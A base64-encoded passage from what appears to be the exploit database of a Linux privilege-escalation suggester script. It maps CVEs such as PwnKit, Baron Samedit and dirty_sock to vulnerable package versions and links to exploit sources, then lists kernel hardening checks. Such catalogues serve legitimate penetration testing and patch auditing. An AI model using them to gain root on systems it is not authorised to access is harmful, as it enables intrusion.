jay1jbGFzaC9zdGFjay1jbGFzaC50eHQKc3JjLXVybDogaHR0cHM6Ly93d3cucXVhbHlzLmNvbS8yMDE3LzA2LzE5L3N0YWNrLWNsYXNoL2xpbnV4X29mZnNldDJsaWIuYwpleHBsb2l0LWRiOiA0MjI3MwphdXRob3I6IFF1YWx5cwpDb21tZW50czogVXNlcyAiU3RhY2sgQ2xhc2giIHRlY2huaXF1ZQpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxOC0xMDAwMDAxXSR7dHh0cnN0fSBSYXRpb25hbExvdmUKUmVxczogcGtnPWdsaWJjfGxpYmM2LHZlcjwyLjI3LENPTkZJR19VU0VSX05TPXksc3lzY3RsOmtlcm5lbC51bnByaXZpbGVnZWRfdXNlcm5zX2Nsb25lPT0xLHg4Nl82NApUYWdzOiBkZWJpYW49OXtsaWJjNjoyLjI0LTExK2RlYjl1MX0sdWJ1bnR1PTE2LjA0LjN7bGliYzY6Mi4yMy0wdWJ1bnR1OX0KUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3LmhhbGZkb2cubmV0L1NlY3VyaXR5LzIwMTcvTGliY1JlYWxwYXRoQnVmZmVyVW5kZXJmbG93LwpzcmMtdXJsOiBodHRwczovL3d3dy5oYWxmZG9nLm5ldC9TZWN1cml0eS8yMDE3L0xpYmNSZWFscGF0aEJ1ZmZlclVuZGVyZmxvdy9SYXRpb25hbExvdmUuYwpDb21tZW50czoga2VybmVsLnVucHJpdmlsZWdlZF91c2VybnNfY2xvbmU9MSByZXF1aXJlZApiaW4tdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vcmFwaWQ3L21ldGFzcGxvaXQtZnJhbWV3b3JrL21hc3Rlci9kYXRhL2V4cGxvaXRzL2N2ZS0yMDE4LTEwMDAwMDEvUmF0aW9uYWxMb3ZlCmV4cGxvaXQtZGI6IDQzNzc1CmF1dGhvcjogaGFsZmRvZwpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxOC0xMDkwMF0ke3R4dHJzdH0gdnBuY19wcml2ZXNjLnB5ClJlcXM6IHBrZz1uZXR3b3JrbWFuYWdlci12cG5jfG5ldHdvcmstbWFuYWdlci12cG5jLHZlcjwxLjIuNgpUYWdzOiB1YnVudHU9MTYuMDR7bmV0d29yay1tYW5hZ2VyLXZwbmM6MS4xLjkzLTF9LGRlYmlhbj05LjB7bmV0d29yay1tYW5hZ2VyLXZwbmM6MS4yLjQtNH0sbWFuamFybz0xNwpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9wdWxzZXNlY3VyaXR5LmNvLm56L2Fkdmlzb3JpZXMvTk0tVlBOQy1Qcml2ZXNjCnNyYy11cmw6IGh0dHBzOi8vYnVnemlsbGEubm92ZWxsLmNvbS9hdHRhY2htZW50LmNnaT9pZD03NzkxMTAKZXhwbG9pdC1kYjogNDUzMTMKYXV0aG9yOiBEZW5pcyBBbmR6YWtvdmljCkNvbW1lbnRzOiBEaXN0cm9zIHVzZSBvd24gdmVyc2lvbmluZyBzY2hlbWUuIE1hbnVhbCB2ZXJpZmljYXRpb24gbmVlZGVkLgpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxOC0xNDY2NV0ke3R4dHJzdH0gcmFwdG9yX3hvcmd5ClJlcXM6IHBrZz14b3JnLXgxMS1zZXJ2ZXItWG9yZyxjbWQ6WyAtdSAvdXNyL2Jpbi9Yb3JnIF0KVGFnczogY2VudG9zPTcuNApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly93d3cuc2VjdXJlcGF0dGVybnMuY29tLzIwMTgvMTAvY3ZlLTIwMTgtMTQ2NjUteG9yZy14LXNlcnZlci5odG1sCmV4cGxvaXQtZGI6IDQ1OTIyCmF1dGhvcjogcmFwdG9yCkNvbW1lbnRzOiBYLk9yZyBTZXJ2ZXIgYmVmb3JlIDEuMjAuMyBpcyB2dWxuZXJhYmxlLiBEaXN0cm9zIHVzZSBvd24gdmVyc2lvbmluZyBzY2hlbWUuIE1hbnVhbCB2ZXJpZmljYXRpb24gbmVlZGVkLgpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxOS03MzA0XSR7dHh0cnN0fSBkaXJ0eV9zb2NrClJlcXM6IHBrZz1zbmFwZCx2ZXI8Mi4zNyxjbWQ6WyAtUyAvcnVuL3NuYXBkLnNvY2tldCBdClRhZ3M6IHVidW50dT0xOC4xMCxtaW50PTE5ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL2luaXRibG9nLmNvbS8yMDE5L2RpcnR5LXNvY2svCmV4cGxvaXQtZGI6IDQ2MzYxCmV4cGxvaXQtZGI6IDQ2MzYyCnNyYy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9pbml0c3RyaW5nL2RpcnR5X3NvY2svYXJjaGl2ZS9tYXN0ZXIuemlwCmF1dGhvcjogSW5pdFN0cmluZwpDb21tZW50czogRGlzdHJvcyB1c2Ugb3duIHZlcnNpb25pbmcgc2NoZW1lLiBNYW51YWwgdmVyaWZpY2F0aW9uIG5lZWRlZC4KRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTktMTAxNDldJHt0eHRyc3R9IHJhcHRvcl9leGltX3dpegpSZXFzOiBwa2c9ZXhpbXxleGltNCx2ZXI+PTQuODcsdmVyPD00LjkxClRhZ3M6ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3d3dy5xdWFseXMuY29tLzIwMTkvMDYvMDUvY3ZlLTIwMTktMTAxNDkvcmV0dXJuLXdpemFyZC1yY2UtZXhpbS50eHQKZXhwbG9pdC1kYjogNDY5OTYKYXV0aG9yOiByYXB0b3IKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTktMTIxODFdJHt0eHRyc3R9IFNlcnYtVSBGVFAgU2VydmVyClJlcXM6IGNtZDpbIC11IC91c3IvbG9jYWwvU2Vydi1VL1NlcnYtVSBdClRhZ3M6IGRlYmlhbj05ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL2Jsb2cudmFzdGFydC5kZXYvMjAxOS8wNi9jdmUtMjAxOS0xMjE4MS1zZXJ2LXUtZXhwbG9pdC13cml0ZXVwLmh0bWwKZXhwbG9pdC1kYjogNDcwMDkKc3JjLXVybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2d1eXdoYXRhZ3V5L0NWRS0yMDE5LTEyMTgxL21hc3Rlci9zZXJ2dS1wZS1jdmUtMjAxOS0xMjE4MS5jCmV4dC11cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9iY29sZXMvbG9jYWwtZXhwbG9pdHMvbWFzdGVyL0NWRS0yMDE5LTEyMTgxL1NVcm9vdAphdXRob3I6IEd1eSBMZXZpbiAob3JnaW5hbCBleHBsb2l0IGF1dGhvcik7IEJyZW5kYW4gQ29sZXMgKGF1dGhvciBvZiBleHBsb2l0IHVwZGF0ZSBhdCAnZXh0LXVybCcpCkNvbW1lbnRzOiBNb2RpZmllZCB2ZXJzaW9uIGF0ICdleHQtdXJsJyB1c2VzIGJhc2ggZXhlYyB0ZWNobmlxdWUsIHJhdGhlciB0aGFuIGNvbXBpbGluZyB3aXRoIGdjYy4KRU9GCikKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxOS0xODg2Ml0ke3R4dHJzdH0gR05VIE1haWx1dGlscyAyLjAgPD0gMy43IG1haWRhZyB1cmwgbG9jYWwgcm9vdCAoQ1ZFLTIwMTktMTg4NjIpClJlcXM6IGNtZDpbIC11IC91c3IvbG9jYWwvc2Jpbi9tYWlkYWcgXQpUYWdzOiAKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3Lm1pa2UtZ3VhbHRpZXJpLmNvbS9wb3N0cy9maW5kaW5nLWEtZGVjYWRlLW9sZC1mbGF3LWluLWdudS1tYWlsdXRpbHMKZXh0LXVybDogaHR0cHM6Ly9naXRodWIuY29tL2Jjb2xlcy9sb2NhbC1leHBsb2l0cy9yYXcvbWFzdGVyL0NWRS0yMDE5LTE4ODYyL2V4cGxvaXQuY3Jvbi5zaApzcmMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vYmNvbGVzL2xvY2FsLWV4cGxvaXRzL3Jhdy9tYXN0ZXIvQ1ZFLTIwMTktMTg4NjIvZXhwbG9pdC5sZHByZWxvYWQuc2gKYXV0aG9yOiBiY29sZXMKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTktMTg2MzRdJHt0eHRyc3R9IHN1ZG8gcHdmZWVkYmFjawpSZXFzOiBwa2c9c3Vkbyx2ZXI8MS44LjMxClRhZ3M6IG1pbnQ9MTkKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vZHlsYW5rYXR6LmNvbS9BbmFseXNpcy1vZi1DVkUtMjAxOS0xODYzNC8Kc3JjLXVybDogaHR0cHM6Ly9naXRodWIuY29tL3NhbGVlbXJhc2hpZC9zdWRvLWN2ZS0yMDE5LTE4NjM0L3Jhdy9tYXN0ZXIvZXhwbG9pdC5jCmF1dGhvcjogc2FsZWVtcmFzaGlkCkNvbW1lbnRzOiBzdWRvIGNvbmZpZ3VyYXRpb24gcmVxdWlyZXMgcHdmZWVkYmFjayB0byBiZSBlbmFibGVkLgpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAyMC05NDcwXSR7dHh0cnN0fSBXaW5nIEZUUCBTZXJ2ZXIgPD0gNi4yLjUgTFBFClJlcXM6IGNtZDpbIC14IC9ldGMvaW5pdC5kL3dmdHBzZXJ2ZXIgXQpUYWdzOiB1YnVudHU9MTgKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3Lmhvb3BlcmxhYnMueHl6L2Rpc2Nsb3N1cmVzL2N2ZS0yMDIwLTk0NzAucGhwCnNyYy11cmw6IGh0dHBzOi8vd3d3Lmhvb3BlcmxhYnMueHl6L2Rpc2Nsb3N1cmVzL2N2ZS0yMDIwLTk0NzAuc2gKZXhwbG9pdC1kYjogNDgxNTQKYXV0aG9yOiBDYXJ5IENvb3BlcgpDb21tZW50czogUmVxdWlyZXMgYW4gYWRtaW5pc3RyYXRvciB0byBsb2dpbiB2aWEgdGhlIHdlYiBpbnRlcmZhY2UuCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDIxLTMxNTZdJHt0eHRyc3R9IHN1ZG8gQmFyb24gU2FtZWRpdApSZXFzOiBwa2c9c3Vkbyx2ZXI8MS45LjVwMgpUYWdzOiBtaW50PTE5LHVidW50dT0xOHwyMCwgZGViaWFuPTEwClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3d3dy5xdWFseXMuY29tLzIwMjEvMDEvMjYvY3ZlLTIwMjEtMzE1Ni9iYXJvbi1zYW1lZGl0LWhlYXAtYmFzZWQtb3ZlcmZsb3ctc3Vkby50eHQKc3JjLXVybDogaHR0cHM6Ly9jb2RlbG9hZC5naXRodWIuY29tL2JsYXN0eS9DVkUtMjAyMS0zMTU2L3ppcC9tYWluCmF1dGhvcjogYmxhc3R5CkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDIxLTMxNTZdJHt0eHRyc3R9IHN1ZG8gQmFyb24gU2FtZWRpdCAyClJlcXM6IHBrZz1zdWRvLHZlcjwxLjkuNXAyClRhZ3M6IGNlbnRvcz02fDd8OCx1YnVudHU9MTR8MTZ8MTd8MTh8MTl8MjAsIGRlYmlhbj05fDEwClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3d3dy5xdWFseXMuY29tLzIwMjEvMDEvMjYvY3ZlLTIwMjEtMzE1Ni9iYXJvbi1zYW1lZGl0LWhlYXAtYmFzZWQtb3ZlcmZsb3ctc3Vkby50eHQKc3JjLXVybDogaHR0cHM6Ly9jb2RlbG9hZC5naXRodWIuY29tL3dvcmF3aXQvQ1ZFLTIwMjEtMzE1Ni96aXAvbWFpbgphdXRob3I6IHdvcmF3aXQKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTctNTYxOF0ke3R4dHJzdH0gc2V0dWlkIHNjcmVlbiB2NC41LjAgTFBFClJlcXM6IHBrZz1zY3JlZW4sdmVyPT00LjUuMApUYWdzOiAKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vc2VjbGlzdHMub3JnL29zcy1zZWMvMjAxNy9xMS8xODQKZXhwbG9pdC1kYjogaHR0cHM6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvNDExNTQKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMjEtNDAzNF0ke3R4dHJzdH0gUHduS2l0ClJlcXM6IHBrZz1wb2xraXR8cG9saWN5a2l0LTEsdmVyPD0wLjEwNS0zMQpUYWdzOiB1YnVudHU9MTB8MTF8MTJ8MTN8MTR8MTV8MTZ8MTd8MTh8MTl8MjB8MjEsZGViaWFuPTd8OHw5fDEwfDExLGZlZG9yYSxtYW5qYXJvClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3d3dy5xdWFseXMuY29tLzIwMjIvMDEvMjUvY3ZlLTIwMjEtNDAzNC9wd25raXQudHh0CnNyYy11cmw6IGh0dHBzOi8vY29kZWxvYWQuZ2l0aHViLmNvbS9iZXJkYXYvQ1ZFLTIwMjEtNDAzNC96aXAvbWFpbgphdXRob3I6IGJlcmRhdgpFT0YKKQoKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyMgc2VjdXJpdHkgcmVsYXRlZCBIVy9rZXJuZWwgZmVhdHVyZXMKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKbj0wCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpzZWN0aW9uOiBNYWlubGluZSBrZXJuZWwgcHJvdGVjdGlvbiBtZWNoYW5pc21zOgpFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogS2VybmVsIFBhZ2UgVGFibGUgSXNvbGF0aW9uIChQVEkpIHN1cHBvcnQKYXZhaWxhYmxlOiB2ZXI+PTQuMTUKZW5hYmxlZDogY21kOmdyZXAgLUVxaSAnXHNwdGknIC9wcm9jL2NwdWluZm8KYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9wdGkubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IEdDQyBzdGFjayBwcm90ZWN0b3Igc3VwcG9ydAphdmFpbGFibGU6IENPTkZJR19IQVZFX1NUQUNLUFJPVEVDVE9SPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9zdGFja3Byb3RlY3Rvci1yZWd1bGFyLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBHQ0Mgc3RhY2sgcHJvdGVjdG9yIFNUUk9ORyBzdXBwb3J0CmF2YWlsYWJsZTogQ09ORklHX1NUQUNLUFJPVEVDVE9SX1NUUk9ORz15LHZlcj49My4xNAphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL3N0YWNrcHJvdGVjdG9yLXN0cm9uZy5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogTG93IGFkZHJlc3Mgc3BhY2UgdG8gcHJvdGVjdCBmcm9tIHVzZXIgYWxsb2NhdGlvbgphdmFpbGFibGU6IENPTkZJR19ERUZBVUxUX01NQVBfTUlOX0FERFI9WzAtOV0rCmVuYWJsZWQ6IHN5c2N0bDp2bS5tbWFwX21pbl9hZGRyIT0wCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvbW1hcF9taW5fYWRkci5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogUHJldmVudCB1c2VycyBmcm9tIHVzaW5nIHB0cmFjZSB0byBleGFtaW5lIHRoZSBtZW1vcnkgYW5kIHN0YXRlIG9mIHRoZWlyIHByb2Nlc3NlcwphdmFpbGFibGU6IENPTkZJR19TRUNVUklUWV9ZQU1BPXkKZW5hYmxlZDogc3lzY3RsOmtlcm5lbC55YW1hLnB0cmFjZV9zY29wZSE9MAphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL3lhbWFfcHRyYWNlX3Njb3BlLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBSZXN0cmljdCB1bnByaXZpbGVnZWQgYWNjZXNzIHRvIGtlcm5lbCBzeXNsb2cKYXZhaWxhYmxlOiBDT05GSUdfU0VDVVJJVFlfRE1FU0dfUkVTVFJJQ1Q9eSx2ZXI+PTIuNi4zNwplbmFibGVkOiBzeXNjdGw6a2VybmVsLmRtZXNnX3Jlc3RyaWN0IT0wCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvZG1lc2dfcmVzdHJpY3QubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IFJhbmRvbWl6ZSB0aGUgYWRkcmVzcyBvZiB0aGUga2VybmVsIGltYWdlIChLQVNMUikKYXZhaWxhYmxlOiBDT05GSUdfUkFORE9NSVpFX0JBU0U9eQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL2thc2xyLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBIYXJkZW5lZCB1c2VyIGNvcHkgc3VwcG9ydAphdmFpbGFibGU6IENPTkZJR19IQVJERU5FRF9VU0VSQ09QWT15CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvaGFyZGVuZWRfdXNlcmNvcHkubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IE1ha2Uga2VybmVsIHRleHQgYW5kIHJvZGF0YSByZWFkLW9ubHkKYXZhaWxhYmxlOiBDT05GSUdfU1RSSUNUX0tFUk5FTF9SV1g9eQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL3N0cmljdF9rZXJuZWxfcnd4Lm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBTZXQgbG9hZGFibGUga2VybmVsIG1vZHVsZSBkYXRhIGFzIE5YIGFuZCB0ZXh0IGFzIFJPCmF2YWlsYWJsZTogQ09ORklHX1NUUklDVF9NT0RVTEVfUldYPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9zdHJpY3RfbW9kdWxlX3J3eC5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogQlVHKCkgY29uZGl0aW9ucyByZXBvcnRpbmcKYXZhaWxhYmxlOiBDT05GSUdfQlVHPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9idWcubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IEFkZGl0aW9uYWwgJ2NyZWQnIHN0cnVjdCBjaGVja3MKYXZhaWxhYmxlOiBDT05GSUdfREVCVUdfQ1JFREVOVElBTFM9eQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL2RlYnVnX2NyZWRlbnRpYWxzLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBTYW5pdHkgY2hlY2tzIGZvciBub3RpZmllciBjYWxsIGNoYWlucwphdmFpbGFibGU6IENPTkZJR19ERUJVR19OT1RJRklFUlM9eQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL2RlYnVnX25vdGlmaWVycy5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogRXh0ZW5kZWQgY2hlY2tzIGZvciBsaW5rZWQtbGlzdHMgd2Fsa2luZwphdmFpbGFibGU6IENPTkZJR19ERUJVR19MSVNUPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9kZWJ1Z19saXN0Lm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBDaGVja3Mgb24gc2NhdHRlci1nYXRoZXIgdGFibGVzCmF2YWlsYWJsZTogQ09ORklHX0RFQlVHX1NHPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9kZWJ1Z19zZy5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogQ2hlY2tzIGZvciBkYXRhIHN0cnVjdHVyZSBjb3JydXB0aW9ucwphdmFpbGFibGU6IENPTkZJR19CVUdfT05fREFUQV9DT1JSVVBUSU9OPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9idWdfb25fZGF0YV9jb3JydXB0aW9uLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBDaGVja3MgZm9yIGEgc3RhY2sgb3ZlcnJ1biBvbiBjYWxscyB0byAnc2NoZWR1bGUnCmF2YWlsYWJsZTogQ09ORklHX1NDSEVEX1NUQUNLX0VORF9DSEVDSz15CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvc2NoZWRfc3RhY2tfZW5kX2NoZWNrLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBGcmVlbGlzdCBvcmRlciByYW5kb21pemF0aW9uIG9uIG5ldyBwYWdlcyBjcmVhdGlvbgphdmFpbGFibGU6IENPTkZJR19TTEFCX0ZSRUVMSVNUX1JBTkRPTT15CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvc2xhYl9mcmVlbGlzdF9yYW5kb20ubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IEZyZWVsaXN0IG1ldGFkYXRhIGhhcmRlbmluZwphdmFpbGFibGU6IENPTkZJR19TTEFCX0ZSRUVMSVNUX0hBUkRFTkVEPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9zbGFiX2ZyZWVsaXN0X2hhcmRlbmVkLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBBbGxvY2F0b3IgdmFsaWRhdGlvbiBjaGVja2luZwphdmFpbGFibGU6IENPTkZJR19TTFVCX0RFQlVHX09OPXksY21kOiEgZ3JlcCAnc2x1Yl9kZWJ1Zz0tJyAvcHJvYy9jbWRsaW5lCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvc2x1Yl9kZWJ1Zy5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogVmlydHVhbGx5LW1hcHBlZCBrZXJuZWwgc3RhY2tzIHdpdGggZ3VhcmQgcGFnZXMKYXZhaWxhYmxlOiBDT05GSUdfVk1BUF9TVEFDSz15CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvdm1hcF9zdGFjay5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogUGFnZXMgcG9pc29uaW5nIGFmdGVyIGZyZWVfcGFnZXMoKSBjYWxsCmF2YWlsYWJsZTogQ09ORklHX1BBR0VfUE9JU09OSU5HPXkKZW5hYmxlZDogY21kOiBncmVwICdwYWdlX3BvaXNvbj0xJyAvcHJvYy9jbWRsaW5lCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvcGFnZV9wb2lzb25pbmcubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IFVzaW5nICdyZWZjb3VudF90JyBpbnN0ZWFkIG9mICdhdG9taWNfdCcKYXZhaWxhYmxlOiBDT05GSUdfUkVGQ09VTlRfRlVMTD15CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvcmVmY291bnRfZnVsbC5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogSGFyZGVuaW5nIGNvbW1vbiBzdHIvbWVtIGZ1bmN0aW9ucyBhZ2FpbnN0IGJ1ZmZlciBvdmVyZmxvd3MKYXZhaWxhYmxlOiBDT05GSUdfRk9SVElGWV9TT1VSQ0U9eQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL2ZvcnRpZnlfc291cmNlLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBSZXN0cmljdCAvZGV2L21lbSBhY2Nlc3MKYXZhaWxhYmxlOiBDT05GSUdfU1RSSUNUX0RFVk1FTT15CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvc3RyaWN0X2Rldm1lbS5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogUmVzdHJpY3QgSS9PIGFjY2VzcyB0byAvZGV2L21lbQphdmFpbGFibGU6IENPTkZJR19JT19TVFJJQ1RfREVWT